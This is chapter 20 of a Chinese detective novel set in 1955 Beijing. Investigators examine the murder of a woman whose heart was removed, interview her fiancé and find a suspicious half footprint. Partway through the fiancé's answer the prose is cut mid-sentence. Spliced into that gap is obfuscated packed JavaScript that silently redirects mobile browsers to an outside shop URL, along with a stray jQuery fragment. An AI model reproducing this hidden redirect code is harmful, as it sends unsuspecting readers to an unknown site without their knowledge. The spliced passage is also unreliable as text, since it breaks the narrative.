20. 第 20 章
    第二十章

    “初步的尸检已经结束,现场墙上的血迹已经确认就是死者的,我们在死者腋下发现一个针孔,死者体内血液含量极低,可以确定死者是失血过多而死,血液中发现了安眠药的成分,具体成分还没有测出来。”段洪拿着报告说着。

    顾昭蕙点点头“关于丢失的心脏呢?使用的是什么刀具?”

    “从伤口上看,死者在死后被摘取心脏,用的应该是非常锋利的小刀。”段洪说完将几张照片拿出来,“这是伤口照片。”

    顾昭蕙拿过来看了一下,一边的齐云松将身子歪过来,一起看。顾昭蕙瞥了他一眼又低头看过去,“凶手用刀很熟练。”

    齐云松跟着点点头“会不会是屠夫?”这刀口太丝滑了。

    “有可能,类似杀猪刀。”顾昭蕙脑海中已经有了数据,虽然有三个模拟刀型,但是看起来就是那种杀猪刀。“不过看现场情况,凶手心思缜密冷静,作案的每一个步骤都是有条不紧的,最后对现场的布置更是细心。所以不能将凶手固定为某一特定职业。”

    “那他杀完人后在墙上画的是什么?”齐云松问。

    “像是符箓或许是某种仪式。”顾昭蕙想了想说,她看过一些案件卷宗,这样的案子有很多种。

    她看了看报告里关于鞋印的精确测量,还有她现场发现然后让段洪他们测量的结果,然后计算了一下更精确的数据“凶手身高一米七二至一米七四,体重七十五公斤左右,左撇子或者右手有残疾。这人挺壮的。”数据直接从脑海中形成,只要足够的数据。

    齐云松盯着她看了一眼,没有质疑但是眼神中带着浓浓的探究。

    案件了解差不多,顾昭蕙直接布置下一步计划,“这个案子侦破我看先从两个方面来进行,第一案发现场并没有发现强行闯入的情况,所以凶手有可能与受害人认识,所以先查一下受害人社会关系,包括他们院子里的人,都要进行排查,这个事情我和李想你去处理。”如果说对人员排查没有比她更合适的。

    “第二个方向就是去查看一下墙上的符箓,齐云松你和吴非去道观寺庙看看有没有认识的,这东西有什么意义。”

    “我跟你去调查受害者吧,让李想和吴非一起。”齐云松有不同看法。

    顾昭蕙看了他点点头“行,你和李想换一下。”

    骑着车去了轿子胡同,这胡同是个半截胡同,胡同西头过去可能有大户人家盖房子,直接把胡同西边给封住了,顾昭蕙看了看封墙那边有个门,应该是后来开的。胡同东边有五个院子,他们先去的居委会将这边的情况了解了一下,别看胡同半截里边住的人不少,除去最里边有一个一进院子属于独门独户一家人,另外四个院子都是大杂院,好像是过去花园子改建的,里边并不规整,有点跟迷宫似的。

    里边人员更是复杂,四九年后京城里许多空着的院子,一部分由街道统一管理,一部分归各单位然后由单位分配,所以一个院子里住的往往都是一个单位,或者有关联的,当然还有很多是坐地户。

    轿子胡同就是这样的,在早些年这片住宅连着旁边的大院都属于一家,后来子孙不孝,把祖产给卖了出去,花园子这边隔出来,然后乱七八糟的盖了一些房子,租出去,也算有口饭吃,因为没有规划,加上用料一般,房子看起来十分破旧,四六年屋主把自己给抽死了。他无儿无女,这帮租户凑钱把人给埋了,屋子没了主人,这原本的租户就成了主人。

    许丽家里所在院子是个两进院子,她家里在外院东厢住,房子原来属于许丽爷爷的,后来她父亲结婚后这房子就给了他们家许丽爷爷当年还占了七十六号院三间房,许丽爷爷和小儿子在那边住。

    许家属于院子老户,按照邻居的说法,许家人比较圆滑,说话办事虽然不是特别实在,却也不会得罪人。跟院子里的邻居相处不错,没听说他家里跟谁有大矛盾。

    顾昭蕙将院子里人都见了一遍,体型外貌有三人相似,但是都被顾昭蕙排除了,之后又走访了附近的人,问询过后并没有什么太大的发现,这也是预料之中的事情,通过观察现场她觉着这个案子凶手虽然做的细致看似熟人作案,实际上她更倾向于凶手选择了许丽作为他的受害者。

    “说说你跟许丽最后一次见面是什么时候?”顾昭蕙坐在院子里问着许丽未婚夫,许丽未婚夫叫程树二十三岁,副食品店的职工。个子挺高的,得有一米八,人也瘦瘦的,不过有点佝偻,不像某人虽然也是瘦瘦的但是看起来倒是挺挺拔的,顾昭蕙突然想到有一会没看见齐云松了,四处看看也不知道人去哪里了,也没管他看向面前的程树观察着他的反应。

    程树眼睛还红着,人也十分萎靡坐在小登上佝偻着身子,听见顾昭蕙问话“我们是晚上七点分开的,小丽父母去探亲,我晚上跟她去了饭店吃饭,然后我俩去附近公园溜达一圈,回去的时候都七点了,送到家我就回去了,她让我早上早点过去接她我们俩去喝豆汁。谁知道我早上过来一敲门没人应声,然后我就在窗户看到了--”程树似乎有点害怕身上哆嗦着。

    顾昭蕙自此观察着他觉着他似乎真的很害怕。她想了想当时进现场的情形,老式的支摘窗,下边挡着半截窗帘,按照他的身高,他太这叫能看到屋子里,但是应该看不到床上情景,看见的应该是墙上的图案“你晕血?”顾昭蕙猜测到。

    程树打了个冷战,“不是。”他有点不安,“就是有点怕,小时候见过有人被杀,后来看到红的东西就怕,忍不住。”

    顾昭蕙点点头,可能太刺激有点应激,这种情况也不普遍,现在才五五年,好多人都是有这样的经历的。不过他反应大一些而已。

    “最近一段时间许丽有什么反常没有?”

    程树将脑海中乱七八糟的恐惧甩掉,想了想说道“太大反常倒是没有,不过前些日子我家里说是我俩都处了有半年了,想让我们结婚,选

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13146036|138487||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了下个月的日子,结果上个星期,许丽说要改一下日期,我问她为什么,她说不吉利。”

    顾昭蕙想了想问“许丽迷信吗?”

    程树点了点头“也不算是特别迷信。怎么说呢,许丽奶奶有点迷信,许丽受奶奶影响,对于一些东西比较忌讳,但是因为这个去改变结婚日期,我还是第一次遇到。不过当时刚刚商议时间,还没告诉亲朋好友,我也没在意。除了这个我也没发现有什么不对劲的地方。”

    顾昭蕙也了解了一下程树的资料,怎么说这人就是一个普通的人,不过他父母工作都挺好的,母亲现在是第一百货的科室主任,父亲是商务局的,都属于商业口的,程树初中毕业,就去了副食品店,四九年后副食品店改制,他也是正式工,就是性格有点软,跟许丽是相亲认识的,她了解过,许丽是家里大女儿,很得父母喜爱,性格有点强势,跟程树相处起来倒是互补。

    “之后的日子她神态上有什么变化,或者说她看起来是不是有心事的样子?”

    程树摇了摇头“没有,除了改日子,她都挺正常的,我每天都接她上下班,她都挺高兴的。对了上个周末我们还去新家收拾了一下,她还特意去买了些东西添置到新家里,本来我们新房离我父母家近,她不太喜欢,想着能不能换到这边来,这边离她娘家近,工作的地方也不远,只是那边房子是家里早买下来的,环境也好,她在这边看了几处都觉着不合适,结果上个星期她去了还挺高兴的。”

    顾昭蕙闪过一个念头,正想说能不能去他新家看一下,就看齐云松从大门那边过来结果走到半道脑袋被树枝刮了一下,顾昭蕙差点没忍住笑。

    齐云松将脑袋顶上的头发撸了一下,看顾昭蕙问话,就在小凳上坐下来,凳子有点矮,坐着有点别扭。

    顾昭蕙问了一下程树能不能去他新家看一下,程树点点头,“可以。”许是想到新娘已经不在了,神情黯淡一下。

    程树去取车子,顾昭蕙看向齐云松

    齐云松从兜里掏出一根烟,不过没抽,“院子有四处能躲开人进出,不过我看过没有脚印,没有进入痕迹,门窗也没有打开痕迹,门房住着的那个大爷很警醒,他在大门口已经住了快二十年了,从来没出过错,大门关上之后,有人进出,他应该能发现。”齐云松从口袋里拿出一张纸,“我在二进院发现月季花丛旁边发现半个脚印,照下来了,等回去对比一下,看看是不是凶手的。”

    顾昭蕙接过那张纸,上面画着简易图,她脑海中有院子地形图,一下子就知道这上面画的东西是怎么一回事,“脚印是冲着前院来的,人是从后院过来的。”

    齐云松点点头“只有半枚脚印,我觉着这里有点问题,因为那个位置跟几个出入口都搭不上边。要不就是院里人做的,要不就是另有出口。”

    顾昭蕙一听倒是一个新思路“地下?”

    齐云松一亮一下子站起身,顾昭蕙就觉着乌云压顶。